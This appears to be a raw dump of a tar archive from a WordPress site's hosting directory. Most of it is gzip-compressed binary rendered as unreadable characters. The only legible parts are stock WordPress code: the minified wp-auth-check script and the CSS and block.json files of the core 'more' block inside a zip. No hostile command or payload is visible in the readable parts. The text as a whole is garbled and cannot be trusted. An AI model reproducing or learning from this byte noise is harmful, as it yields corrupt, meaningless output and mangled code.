*�2�ub��]o��ٿz��.��؝��}�I."c邕pM�ӝV+��j��M�qrٺʦa+��P��S�*�*X[��Қ�d���}��a~E��Q~���FY��g�᳻ӅDj(��Bg��-��_�$ć��<)u�п��
׾�#�G��_�'S/D���b��
Ci,h���~����[���r�74��[A�!1�B�k�Dx��1/G��_cw��a5W`��
�tt=�a�m�2c�ں��+{�G���̤�0e\�RP
���C,0[�$|^�2�BC6J�QCvwJqbRG!n
�Џ.�+%&����,�ԙ+Z��
�U��s�*y��:+�%�F�o�&�i�&1^�+�S��i��7���9�j�݈�σ�;2�w��,h%�t�Ym���<7��6Fh�9y)LQ]�>����ՅK]?@�83ӵ�ebR�.�+����8�x��0`B\��r�A��<Zx&%{z:W��<����,�'�3#7qrͥ!�<F��<�����s�2��y�7�x`�j�h������t��\8�ȫ�*{k��P�x�_�����Y?��4�CR�}�|����M�K��H��^�&ӓ?�H��"Ԅ����/SЫu����Q 0F��҃A?){���
:l�44����Rg��1x.7a��)�C��	��x:��'��N(>��}��C�F
�n<�؏�)';�uR��Ɔ���������:�P����8&LF>ƈ��u[�9rXԋ��E6�k?k}�b�;,�fE&Qld�x(����<���Jf�:Y1���i�b��P��!2.R	Aèڊ�W�}�E}��/��R�/IP�|�
����Bi#�Zu�8]��j\3�S�8�g��0얢�|u� �dH�l8������~Lh�ű��`�r�s���26EH@B��O��/��-t�%#���;����8-�cSO��u��}m�-*�ψs����
�x��XEfp��5@>��|t�!��C��E ��$���É
9W��x0�����f!~w-�ʊϧ�1��T��|խ��l��ZZ�%�iy�07��7:yi4�B0��?睭��S�*�yxR�,�tHJ��!�5��gw0ؒ�X�AۯZҺ�ԞY���,�-þ�#��5�^���cΊ��Ξa�-����y��S;��Z˨+��?T���~e��H�|;��W�AǶ�~9�H�-�+l�%׺QX�\�D�:�t��J�HVyN�%Zq]Lh��)Y�S��Ļ��!�]_
�^c���$��D���q-5���i8����A*��K-%�:
����z�3�ԉ'�GD�u��~U��q��(n�"��ϡi��>��cB9HAtj�eU3�k2*k�7P�>�/e�����ƹ$W6�S��:Ã޾�� ��̤���re=+�f5�R
��UStĀ��&���9�bQV���w��;�e"�x60����L\̀3�.�Meմ�er�GY+�
�I6gb��+�����I�.NiW�W)u�mj4�3Q��P�e�_��D�#/�������1;2�������ʹ�P2��Ƀ%�s^�Z�7\N�ۭbC����A�^�UټY]�yVM80����d�NM�Z�{�}�U��-���w
� �\���_����G�Sd��`Ԅ�aX��&m���+��ز0f N��R��&!tn^�y�77@t�W���c��@+�.+^�C�˫~[�fE�"��@�Q�-@HNr����D'�Y2rCf���W��YM$No�>&�Ja7��lU��RA.1���A���8[¬�nH�GUr�WBuk�䣓�m㦚ڇ��f�fD}�����/���3�4�4�W�J��~�'�
(����:���5�����Mh���фQG�M�����q�3T��n��B�#b�1]����Uzz�������Y��5��&%���/P"J��&�c5E�	�U��V�-�L���	�zLn��݃
�\�w�h�'�2&�wi%�-�^6/��O���'��҇X����m�aN�<F����S�[חN)�x�6|ϒ����u��5�k{Za��x��z���J��:F���{�+�x������,���GM�cG��IYQH�,?<,(	����
���ĕ�Ĩ�a�C_'�"��nQ��H�M�}$�\�d�Ъ8�O�4�j1p�Li���&
�e5�
L-���Ó��'͌��:�-k��ҹ�s��o��{V�!�0p 1�������,�Q&��jo �+����W�����f?8�kk_Ò]�z�e��dIY�H��+�羺����G�1.�����>���2�
�~u
��x���R�g�gJH*S]޸�B��G>8%��|�rE��1��Y<+w�p�	�2k��B�v5V��FǕ#����[
�*C����낏@�ˋ,bOUUesm����z��#�nv�dA�� "����<�-������+�>YV��Jrvx��,���/�D
T'096Vz��-��b��T�KFyʸ��`�p贑�r��&���$���LD
p�gFCQ
{+�`b�H��ѹ
�
j(
Ḡp\���`նj���ƕ;
���-���s��	ʠO~(s:�D�H}���8(sJ����]>����{��&�>Y#/�)s�6�1���{~G-r���Z&t���5l탺ۆ
>�gs�(-"�2Q��d������S�f�����%�,f�x�n�m��rY.g���_@�����LP���e�pr)��5� �c>ͦ^�q�������R��i���f�۳͕�����g��s@d�K�l�n���ny��lo�����N�n|�@�k�[�w�g����+?¯�m��}�r���b��/_PIK���y�$�y^�E��<�����������׿�?M�Zq�14338/wp-auth-check.min.js.tar000064400000007000151024420100011555 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wp-auth-check.min.js000064400000003172151024227240025552 0ustar00/*! This file is auto-generated */
!function(i){var h,d,e;function r(){var e=window.adminpage,a=window.wp;i(window).off("beforeunload.wp-auth-check"),("post-php"===e||"post-new-php"===e)&&a&&a.heartbeat&&a.heartbeat.connectNow(),h.fadeOut(200,function(){h.addClass("hidden").css("display",""),i("#wp-auth-check-frame").remove(),i("body").removeClass("modal-open")})}i(function(){(h=i("#wp-auth-check-wrap")).find(".wp-auth-check-close").on("click",function(){r(),d=!0,window.clearTimeout(e),e=window.setTimeout(function(){d=!1},3e5)})}).on("heartbeat-tick.wp-auth-check",function(e,a){var o,t,n,c,s;"wp-auth-check"in a&&(a["wp-auth-check"]||!h.hasClass("hidden")||d?a["wp-auth-check"]&&!h.hasClass("hidden")&&r():(t=i("#wp-auth-check"),n=i("#wp-auth-check-form"),c=h.find(".wp-auth-fallback-expired"),s=!1,n.length&&(i(window).on("beforeunload.wp-auth-check",function(e){e.originalEvent.returnValue=window.wp.i18n.__("Your session has expired. You can log in again from this page or go to the login page.")}),(o=i('<iframe id="wp-auth-check-frame" frameborder="0">').attr("title",c.text())).on("load",function(){var e,a;s=!0,n.removeClass("loading");try{e=(a=i(this).contents().find("body")).height()}catch(e){return h.addClass("fallback"),t.css("max-height",""),n.remove(),void c.focus()}e?a&&a.hasClass("interim-login-success")?r():t.css("max-height",e+40+"px"):a&&a.length||(h.addClass("fallback"),t.css("max-height",""),n.remove(),c.focus())}).attr("src",n.data("src")),n.append(o)),i("body").addClass("modal-open"),h.removeClass("hidden"),o?(o.focus(),setTimeout(function(){s||(h.addClass("fallback"),n.remove(),c.focus())},1e4)):c.focus()))})}(jQuery);14338/class-wp-fatal-error-handler.php.php.tar.gz000064400000005535151024420100015306 0ustar00��Zko�F�W�WL�Ne��d��حc�M'lw�@Q�#r(MCq���m��΃�^n�`_�0 �ù�sϽw䱚�~����ߗ�Tˉ0�(EZ^�rTW��sU�KU]�i/U��M�+˴�3a�i���ŝ�[^�
����2+��U��\{�?|����O�<x��G��<|���������lo��U�5D�;d�^ϿE�6��|�ɾa'=6�ʊ�JU������ �������K\�"�����*���#��*�
�&���D�G��=|�oF9GJ�>���7̎�D���23�m�nJp�rh����L/�=d�VF�Y�KyɆ�˱��k���pe��*�wi�Nx��3�R�CMH��T����r�҈vhi�hk�����Ic�f�x�o$������V@�
$��o4�ְ��c�h��k�ռ(��>$,dq=�BrY6�$H��.WX�
z	�
�,�y)���(�����0��V
���t
d~��� l`���Q_�v��%��o1������]��I�!����v{�j�˜���Q���=U)���n���g�˸���c5����77�zXȔE�����!s�M���ȶY�.��8�{rqt��z�C���f+�0�ņ��3|���6�}v�X�,�Z�Fb=oƄ��"#�(��P��=���4���$.K� �LTF6�V�ꩿ]^pY0lR� =G�p;ol��l���{�	�����ޡݼ�/YX���yyq�4F�m����ً�Ӌ�:M�:?{7�($��a��B�,	ĒX$Z��Nr{�fIP�k�坚���F<��+��]i�%�A(�EJ�;
��=�*YJ+y!�4��^���ָ��!B���S���A� -B0����ph����x6!{�Ǐ�&�LhU[�D/ɫ�D	Q�.k���4f�1D�|HE�dKč���{,�CO�ZP��������M�B��)�
��q��fLv�����~�gr���cYE(���O|�k`�pʮ�3F�&`?8�˰��t��\Ɣ��p����BM���)^���wޙ�.��&�{��MH�.��j�y'��N&94�p����_H��3zڦ�H���mXCh~Y��wI
���gˠ�:��f��B,)5f�;[o�1��KyP���6B)v�Z��A�Ql���
;q"]������*��ă/ڻ~Z�k�F7������J�����ӊ�0�;,3�%vZ	�X��Τm
�Irr~~v����'��'�s��^^�οp~rt������ԁ�|�p���!Mb��e��Xx�e�����b	ptssy�{YP��@�����|i�o��?�>1Ț�s���]3�;	���_.��y+i��x^h��[�rTk�����#z����q��q��P굠��=0s�Q��v�@*Q3�f�8ܵ��6vٰ�N1к��-\��/
\h����Og���
ȗ���2�?��>�"��Ɍƫ��&>�Ա��7c�7���G���ћ/�f]@ue=�^^^ZA[G���)���x�5fA?d-W�dq`j$�<l��!�Ո�*%��CB+�n4,y}�&\��+7����e��[f�4�5M-�kV��-~�hVxTR#��� ��DR���x$��4K���yE4O�V�e�.y~��
�	�����D\��N��$?^�0��jF�rj(r�t�il�CP^�������k\>t�E��HTkz����b�`��il�b����ܮ�Z�����*6�W�%]��=溯v�ūI�?^���a�ߧ�K#A��>��&�ŧ�pW����5���ٛ˓7�����4���������]�
��M�V�IUԣE�v^�N>yg&��"�_��Nk6{_��$�B�j����g�Y?xF����aYkf�'?�yc�|�?�Rc��ݵ�>���2I�w���ER\�����n/l�IJ��yB�1t���t�D�0�&�C%�	e꞊t\mãy.S�D�����X��Aw��z���ԟym���bT�ܺ�V��zd�8/*Nb�
S��]�����M�9��~��h���I�"wN³��4���$��C��ͻ������^����zs䈦��
Ѵ%�#��ѧ�"���a��fR\����/*�n�%�܊��ϒjy���/�ã��H���U*�RZvYU[��h�eɢJ�A�Bp��C���,�:12�jH���D��Ԃ>L�j�T�~HoN���!�iω�[�ۭ��E!�yI����X���^���2��2V��	��R�}�Vܫ}2֜%}��w�j��Q-�4���MR�f)e��>��x^��q����<�%8fYo��܍�4��[���{����J��zb؏�=��,�}d�et\V�Ρ��l"��:�aDu޲Dj�_c~-��Eu������t�K�y��X�|��{�3g��>? �t[������~�
35'������xǽ�>�y�sA�L�&P���=�_�Ü���U��m+�,F�X��� >tԪ�'��+b��;���w�cF�i!�9���W?��mv
�.=?��<�Yz��`d�J��!Lk*�̾@���/ێ+�����f���BJtuӥ��b���Q &����a���Vq�U��vafo!j���3u���:"8mB��Ɵ�l^�W�Ɇ�ġ1*�pȵ�A�����\�؋i��o�Y輞{9+��މ��eU5�t�Ԥ�E�=�_�����q2�yq�yqWP]���Z'�l��Kq�b7�S�~PӰ/1B�j�c�%��e%�7CȾ����Y"� �Fp�u�na��O�W��ןן��Oq9ǔ&14338/comment-content.php.php.tar.gz000064400000002005151024420100013025 0ustar00��VYo�6Ϋ�+�g���$^��G�e�i�E\Zل��$e�(��;�$[>��"�"���曓Zf	�B��I�P�u�)�y*�E��"�3�
�"5�~�%�&�4�E�:��,\逎LM/�RC�~��/v2 
��2(e8�����p3���#:�
?|
���A
m�"������L��Ry�����#�5����4BEYf��%���蓵�6��/>g*�D]��4�j�{��_��,u:��فk�:�Q��)�W�o��͍Qb^��C��ڸ�Ƞrl�K�c^Hu'7�>b�N�d	{+�R�R]�)TZ{�/�ـ�L[d���>/.�����<s>���,X��i����Эy]�o^K�Ё�@h����͜�� ?F�#�;�VE��^���Z�J	2����k��=�&�&g�P�����8��6,�,P���J�I�Nw���,3�y��E�q�Lr�݃=�����5Z��af��,�j�+ʡ�y�42��Rh���٣_Q.���
�[�#C�In��_�S'4y��-+!u��k�{H�{.�L2jOn[���ABu�]l����t����Q� �U�&�e���x�H�!?_V�	ҕ�"�#�Q�9+T=|6�|Å����L�'@���Õ�/!W��öi�R�a-��K�ZXrM�B��5�,%��&�@(���wu�kR��Ż�}8��D��l�3[�]����:�G�Ee\iԝ�6��fǿ�-�(ꃡr.�A߯���|'�"ml���цO��Y��j=�3n�����V����D���m�f���E2֢W���d������T�8�U��S�����h�@ЄS���Vi�Dܴ�wONw��;�͟Db
�7m=��m�˻��t4�����zG��Z��q�/�6��~p��/]��G�f�#�U��
���6����1���\:ʄ��{8�R���e��rv(WUvx1� z�T���ܬ�۟�o�&o�?���,�14338/more.zip000064400000010604151024420100006702 0ustar00PK\d[5R����editor-rtl.min.cssnu�[���.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}PK\d[�
�RDDeditor-rtl.cssnu�[���.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}PK\d[�
�RDD
editor.cssnu�[���.block-editor-block-list__block[data-type="core/more"]{
  margin-bottom:28px;
  margin-top:28px;
  max-width:100%;
  text-align:center;
}

.wp-block-more{
  display:block;
  text-align:center;
  white-space:nowrap;
}
.wp-block-more input[type=text]{
  background:#fff;
  border:none;
  border-radius:4px;
  box-shadow:none;
  color:#757575;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  font-weight:600;
  height:24px;
  margin:0;
  max-width:100%;
  padding:6px 8px;
  position:relative;
  text-align:center;
  text-transform:uppercase;
  white-space:nowrap;
}
.wp-block-more input[type=text]:focus{
  box-shadow:none;
}
.wp-block-more:before{
  border-top:3px dashed #ccc;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:50%;
}PK\d[;W||
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/more",
	"title": "More",
	"category": "design",
	"description": "Content before this block will be shown in the excerpt on your archives page.",
	"keywords": [ "read more" ],
	"textdomain": "default",
	"attributes": {
		"customText": {
			"type": "string",
			"default": ""
		},
		"noTeaser": {
			"type": "boolean",
			"default": false
		}
	},
	"supports": {
		"customClassName": false,
		"className": false,
		"html": false,
		"multiple": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-more-editor"
}
PK\d[5R����editor.min.cssnu�[���.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}PK\d[5R����editor-rtl.min.cssnu�[���PK\d[�
�RDDeditor-rtl.cssnu�[���PK\d[�
�RDD
�editor.cssnu�[���PK\d[;W||

block.jsonnu�[���PK\d[5R�����editor.min.cssnu�[���PK��14338/admin-bar.js.js.tar.gz000064400000005537151024420100011234 0ustar00��Zms�6�W�W s7�K������;�I/���N���EBc�`	Ў���� @���6�vn���"�],v�}�K�J./g?�a\�K.c��8�Q����l&��XT��b���I��Y�p��a�,�|2��୼�u��x�s|w���G���܃_����ñ��{l���G�*����_��������TQ)���0-��G8�`�]�j���dY�u6f�`���ee,����)���J����Q�g��������[�KD\-y�;_pw'�q�Eq�扸bLS��
���2�GJ�4��9�*��ʜ��i����ج�c��|T66�=F��`�N�$y~	?^�R�o�#6|���X�
E��d8v��x��K�
?�Ղ9W�3�?�^�$�ꪠi`�!���)ϫŗ��,k
�/�,�:�Q/�咆�B�*K�}w�/��RLӌ��:8���>��t�F��҇p�\��g�xQeِ��Y�Z�[[�O��
��[��A�,��h�*D�A�6n�
��$�y���6�*
Z �xR�=�LϏZl��7ؚW�tã��
�𤀧��̲1��*A�%���R��+e8x(&�)�;g�,*�0P\��󍠒�<���m�w6T������Y_	1aȾ�Kq	*�Jg��,�Apa
�\���e�?�!���qڨ�͘
����(��y��L�0Xs/�Ҭ|��9-�`ĀKv�i��Œ!\$��*�� �W�ú��8�����-\�4F�(��F�]�l�G����(IXf�c3�bn?����YS%�k����7�F~6���E�0�r�?^��2�D���+Pz�rJbS�שS����*#��34�>�?k�>�x>Wx�����!��K
̱�)7@1�U��[*vJ�?��u6n��7�j����g�ť�2VDs��Sh���P�1���T6+��O�sq56�N�O�%��J���H��ʨ��	��ãA���F�	���8�
��͐~��%�m�@��Gi�(��!������|�_��q������
(��`��!P�j���#�d��X6���2�
�!����T�ei���k�[��Nb
v�Ѯ�^\�*iN���c��
�36�G�%@%
=�v�֋8�ή��=1�C��1�&��YU�Eb��%pg��̾5]�b����=s�>��)����%D�=ȬK�X1gU�)f��E$�8����ۗ����L�*# #�y�������ɣ�M���_.�h	�gP�`\�@�7�h\��
rSE��G7)�/�Yc)#��
�i[��t��q�h2s)^+�D�FT`�U�q�McE���z*�z�����:}wD��!v��UP)��M�Z���?<d���J��҉��������n�^"f�+�9Ȉl�p+���.0e�٭#wl���Om�����j�_��@aM�&���U��(OB���"�)}����H��d9�b*�b5�]q;�C��#l+�h+�2\= q�6��������j:1{�v����G���3>��L�<z\�s,o�"��InS�y��f���4�v�6�|%�pլ���i�Z� MQ��^-���7G���
�t(�TP�m�yGH��@��H��4�J�&o�Hk ��k�co@�F@dž����@�0���
7w�8�rx� )��E�������9��ǔ/��T�k�mH�!p�c%��]J��aa� �Lj
�ބW�r�:l�~��f�
@���Y��N�C
�e>TLVE<Y�Ƙ%hN=A�.�*��MR�v��5<�c
�&Ӑr��*I��e��^�i��ȱ�F��������������(��B{"���ӈ�КKt���z�D��ͼ-^}C�aN����3s|Y)!�K>�����9��&'s��q���#}�e�����bCP_�����Vẟ�8���-�֋�ӗ�]�L04�;�LZRa�bt�Z��%7�3h�}�����D}���~e�}��oh���.��c��.v��s׈��-��Lξ�b}0��-Js�b�?q��e��E��l��`ll�
d���`��6�FG���FT����x���	1?�P��a�#�E�^dl����YG뮇�}�&0ۜ�[�Ov�lc�&��R��;G�Y��ǔ�o�Lj_
�t��!�3�&��ح��ő{O+ők�F����I���E%�꧂�ʊw�d�d��x��Et#�nw��
��u��|���v��
^���w���7t6be���ݩ�m6Z�逹�K�a��̢~H��j�i�ݒ��Ȣ�;@Z}���h��~�Q���s8w\�ϼ���F7lw��z��1��u������u�I�:�uo���2�@mM����~�I'���	�h�h(�uC��'<n���BN]�Ҫ����A��:Ϯ̈́�w~��G�0�^��jJ�m��$�&�U�CA���Z�K��Ӽ�@�ɡnK��z4=�s�~�q�~.�m�8�Sw��.�3u�v����-Y
�Á�2�U�w.�<�o��q:za�Kv��-T��ƻ�����gg����5l�ecG�(�̮�&�R(��S^���Ed׳�Ey}�T!�0��g��K�~��r�|��,LD,��4<��$4K����F��C��M���n�/~9�+��+��+��^����}"]�KI̪�"�A�I�!4 �r^>���_2I�����iL�)ԩ}2I�Ws)���)��)H�>�����|�`۞�n�����T��ŐB�:�?AW�b�ֱ;�a���)V�����wi�4�^�w���׽D�>�{2��?�|}�>_���r�ܩ�d014338/Text.tar.gz000064400000031422151024420100007270 0ustar00��}�v�8��7y
ģI�.��N��q.�����N|����Mg5�Dی)RCR��3����ۺ ���8�����3�H�P(
U�Ba�b΋(M�}�g����y��s���Fߌ���m��~����޺'�>>ֳȋ �&�D[��#���;wn�;b_1�8J3fY���(Kg�8	���?����<�����`�<��"̒ oO�\����@$A��"�N#Z�����%���9ͦY���6_��.|޼9��<�e'��d���Ǜ�j���$��5�)���3ɀ�?�f{�~e��v���5���G0Q3b	��:S�X$)P4̂"W��f<W�:9Mr,���K4��\u �(#Ph@�)�
U��C1��Ig��P�,
��I�EE�L�"��?� �.�����i:_f��I!�����F[�i(~y��,�N
�9)���px~~>8�/�4;v%�7a��*��ihEq(��:�����IB��$L�p㞡����E�x$���=EXIZy&!�C�&���@r@"��t�M	{��v4������wc5��?n����sG�\��dG"�i��I
cqQ��8J�|�;�fg(䩖�L㝟��x���G�
�{��D�r{�pQ���+��,X��X�H�<,��(;gA�s��=2�Kd��1�*���nC�,���.*l����4ɋl1)��u�H&Ċc�e:�5�`���,����R�p]��fa09U4�e-��P��Q��l��b ��Z��#щ�0E��$�?l�u]F}hܐ
��M���7o�@R�:�ppOLLb�@Jܘ/a�ԨN
/Q�7�0>���ү�{����`|�$K)a��t�N�r��,,Y�-
�$���IJ�,Pz���f�����긃Y��nu��������r�.
�)�;V8���w[��
�w,��w0+�vP�'F�4������đ@vo�
r��+M@�J��̴�z٢����MVwlq��d�h/@��S3<`j�2���?*��:��	P�878��d�1x��� ��9������Q�/d�&��Fԑ
���ʔ��=����I���,��o�`��3���&�HXS�,@ۓ 9�w&�<
�]A��`�M�y�D�8
ù͈w�چ�]$�3&(��Yi�@SK��@
�zX�����'ڥ�y5#��W�A?����I���
bPj$˰x�d�F,���.[�!=��`�"��#�����U=WO�`�Ѡ��ERȡ�G��v�n�W�^��K	����������N�,i��(;J"������f`�ZX�s=2��I�+hBt�"�H�a7�}�(B��
="y��j��S�k�H�s���8�!7~�0�6���V�Ocϩ���͚�[=�]?q4���د����|l��E:MS��A)	�N���5�����͔����A-	��J�X4�S�n�1�*Ūo�vUGB�\��7R�H.J�G��1x��Gc��/$P�vq%�z�Bu_��BR
�9�xҢR�5�D��)q���Dh���!�	��5�[R-Y��b��N�ҴD�^j}��^�E�尡wj��Eǣ�u7�Bg��Sm�GQxE9�����4���b�],�.)�*�ɣ�+,5��V�J��Rڸ���1v#D�-��m"g^Q�Z�_�I�`Ρj_�F�ԊK���%�ק��6c1�5�4Nϡ4�ȓ�u��A� �ڤ��t�R�ܩ�Su��lj`[|��ݛ��
��Z��ᴉ�/��4��J^�].;��޲�&��d�����o�j��}���n��3$�v����������q����b�Ud�AZ�{�qb��xa�7,�b�\ց\: ���R�9��f�Y��O�/�!� Q��<��}[����H�!��z�aU��	�K��H��hO�`����.��?Ơ�}�h<�1�a��m��lԳ���K��[��4�[�nE��:|d���f�8���K���ی��\��!厱Pl�����W���{W���jR�� k��Qae
H��ʆؒ$0�"4�u���=��0J��{x���[��h4��5��K<���s�
6����=�`Q�B<��Y$� ��g�$j�pE���[���_����?�nf��Q��d���Y�Ž�w<�����mb��޸xv�j�i�st��V~�I@r'��_��<�&t���ߑ~�{�LpJ�k�m�
���:^�K�n
2��༈�q3܅"��Y޴�
Uǥ��~>lW�z�8���r��m
k3:&Մ+�5�~�������nմ��Gϡ��&��T�Te,��=҈��~>	)��1��Q!��9�A���~������4���xZ&Xc
#/��U�����1Z'��xɸ��<?���x"(b�=I��9,
���4s���7R��g@8�a�z�j�:�9H�d8]��A�B2�~�"�Z�\�5!��|ħ4�oS�$s�v�ol�=3�	�6){kc5V���;�m]�5�/eq]�\�"4W�vP�ԑ�^���7�H�ݭ�>��B�D]�4��������W�G)���kٴ�p�qS)�`�J	ҭ�W��0$@�o����i�#%����7����4��F�Wv�x⊽����ªm�8�OP��.!��ړ��^2���qxT��C[ˣ.a�k���+�Ú$��4X���y�x��.�ytk|�K9��0�3J�� �HkǗNŶ��d��^�IL���$<'Sad�`Θl�Jp��mkc�i�)�O���Trv;m>��^gÊ���봇C\k�(�����֒�[�8�E�8Y3ԷE2
�(�!�2��4Ml��l+����C@�x��;�K�*�+nv�bZ�ı�YCɀ,MN�Gy5R了�b�W	��E��/1>���T��3�O3�]��*���g��nv;v��v��Y����F�gC�JmCB�)�f�Ў@�ក�]g�^$e�1
�X�@G��.�)�Y+	7$qOH��H�h�N�p����V�˒�|�C�Fe-���	r�o[��}��µ(Nӹ8����rQ�'�re`��)S�p����V��Ҳ*1-00��w�ں�<5���Q�&~y�`T)�bm3�,��r��I�r�)�'�iBC�]B���F�0�PzRW7׸�:8D1�ٰ�L\c
tO�Z��nlj��n#�ɞ�d��V����0��r�+y礘�<�DA��.w���?9���?����ھ{��oݿ;������,��(�x�L�>١,�(�-<����@*/�?y�"U0���x���Y��&H�1ź ��;�k��Bީ��K��e�]Ye�e�����IZ�Q�C�e��o���f� ���m�f���Z�?s�d	���q�f�[��w;�E�X��ꎁdՠ�Y]��wQ-�rA��FD�Vg�UB���@�C��L��$T�A�H�l,��p /���Tvl���
q`](� QuR9q�$�A���(�#'�Vô�P���u�I4y�孚�r�
jJ�ЅX����Qʛ�5�@�U�$�Ӗ��m�A�?a�LR�8�lD�
�
�3#�k��`)��=٥=�A�N���P(/b��'��T'K�
Q (����2TdJ_E�Հ2���pMp~�d(~N�l�qT��I<шc��껁�1�Q1}��b�]Ĉ������YLCr�r���m췊�j�d�O^��d����~kΗ�|1�����npf3�8<�ܶ�}�Ν��h*U)����f�4`��k�<R�u}B�XQ�|�����j��n���щ:�����a���GƸ�fx��� �L�7��8\��@s׀,��ga����LGm��)M�Ii*�;�h�V#��58�dt�5��ǬD�����~��������O����b��{�Q}j�f�q�~�E�i�������ô�<��Zd�6�k ��⫆��\O*����׾��tӵ-9���d�VX'�ho�,�*d�]<����z��臎e7֎w�H��a��O=Mk�p��L�xوϙ�QyJ67u�h��QT��W�h�tL�P�Tp���� �З��Q����e�L�W!O��<�@0p-��i
����J�ZZ��_���{���Nl�:��Y׍��0.��F�j�l�ކ�g�ƣ��S�B�k�Z����4<
q�9�d�ea;�!��r��05Y�����\�o_ve����bL|P�>�û�b�M��?\V-?ԍsy������P|I�@����c&����<%�JU.��m�C��eV��<�QG�����ܺ&zTW�K�aA_5&h�����=��|���E�&,>��LJ��M�`ѣid�t�,*p9��1��$��p�a&j��3��5k�5A�pc:sWk�&�l2��̨ǡ~i`�j�S����Z�F�y��F��@I$*��!F�D��nZxo����Y��B+�K���Zc��v���������z����.�r 0]��V*�\���D�����4�C�\�$‡��[�W7٨��S�ԖX_b&Z�9��]Pߪe�3ks���syTTp-���[>�������O�������V����[M��G�I�g�MVY?Y*X��T弬�T�b�/�>��TWg����5^��4��ڔ�:�~�|2�� Kǫ�_�nj�� ���^����/���7_���c�<� 
xP��%n�=���T�bA�&�l�(�=2_:�E.c_����/T�w�2'1r� 	����|إ��i�%LB�{�aq����D	�_h��o�Z�Oh� �0����4y�{PSm�U	��X`�X�$*���CUf����"�f/9�3���@TCk��0��/�,�
/� ��2&�AeR̳x-ǨH+�����9�s���!�������0O:���
��'FO�0_�t@@��mL��4uG"06P��j�t�9���g�[v@��f���p�&��f���"����Q��U�J���P�p��/�r)��ű�Ex�(v�5!]����UE������N�w���;&��)ɤ��^L)� �؄	�ؔ06w!6��nÄ�G�9��Θ���$v t�K}f��%9%���U*��>�0���3���/M@gAMa�ŇaTP�PQ�2��4�'Y4�=�ã�ha`��x�~;%0�GC�RM��GX�k��x��>]8>ʾ!(�ޯ��қĝS�6�'���W(�Ѯ�RY��t�櫯���1�>�����~�]��i�u��/_�YO�/��_���#�g�@X^���P?��/����4�������fi��%�����v�,�H�E�5���!�5)�%x4غ�Ŏ���M��{B/��Y�a�J	�XP��d$�YX�j�s��h:|9|��=�뫗�k���c�}lm�{4��O�E�0�)YF��ق]���M�b
��b��</�(��������R6I:S;��0��gN�`��t/����O7e�9���ۃo5d��p+j���b��9�_��|q����8�958�݃.,��,�Q��x��O/��F<ۜ�?Dz)h��w��?ؓ�t�Fzt�����,���4���c�/Y?t�U�Qe<�L���Aޱq�r�O�m.�a���p:�f�K�saL�9���C���E9��di�M���R H�S��Һ�*�v�}{q�r~_D���&�n���q�]<��d2��q+�pБ5~�5��߫��& �UcU�X�o��?�ҙQ���`����W��"1n������Z�زe���i47��f0�fP�Pq$9�@Z��&3����T����ްS��;*�904��K�=Ԩs{�K���Z���$�c�4F�4m��7L�]y
S��&��$��CI7  �X��B�^��Q����臰=�[F+i'Ϣ����4%�^`8^�Q
+ő���4����V�k�З*yZ'A~�Υ�;2q�\�
.#��vsK_s��q��[�N

�ټXv��}51:>�ZK��act�g|c��	�E�Q=�>e�ќA�'�ˑ�l��!���+�r��rձ��|��!$t���<�&�l��H�z�v2��˳�#��l��O�'���SP�@��6F�[���9�5ܢkϝ��U�
�\����N'��v��+ck�njXZ�]l�"�*�s�P�� ;��
�s�Ɋ��<�܍�WeWDže#O���prU�++���q.;��Ʀ��	e|�Q��\ b<
�黹�L`|67-!���y��7��*֔&%{�rq�͹Cl�xir���B��"��}=�+�2��Dj�8d��\�V���L-l�\z�T�A�1����&��l:��k�B��B�Ay}�/�c��x�ES���"���S�5�,a�X�0��O�tU�z���/�����`���]2�;��{�+��
@占���O/"wW�w+0yx�.�ʹ��ԟ�p鉃�o�4Ǖ�	���#��%�*�[]
��gs}D�ix]:��m�)�9O��x�8,1���@�O��pQ����Z�e��,��_�_u��;f~*8���T��u�+�8"M��r�� ���1H
��A����;���Z�MqK69V��z�1��bF�"�sY�V�����x �6K�[�7�FN+{���4�i�dq���
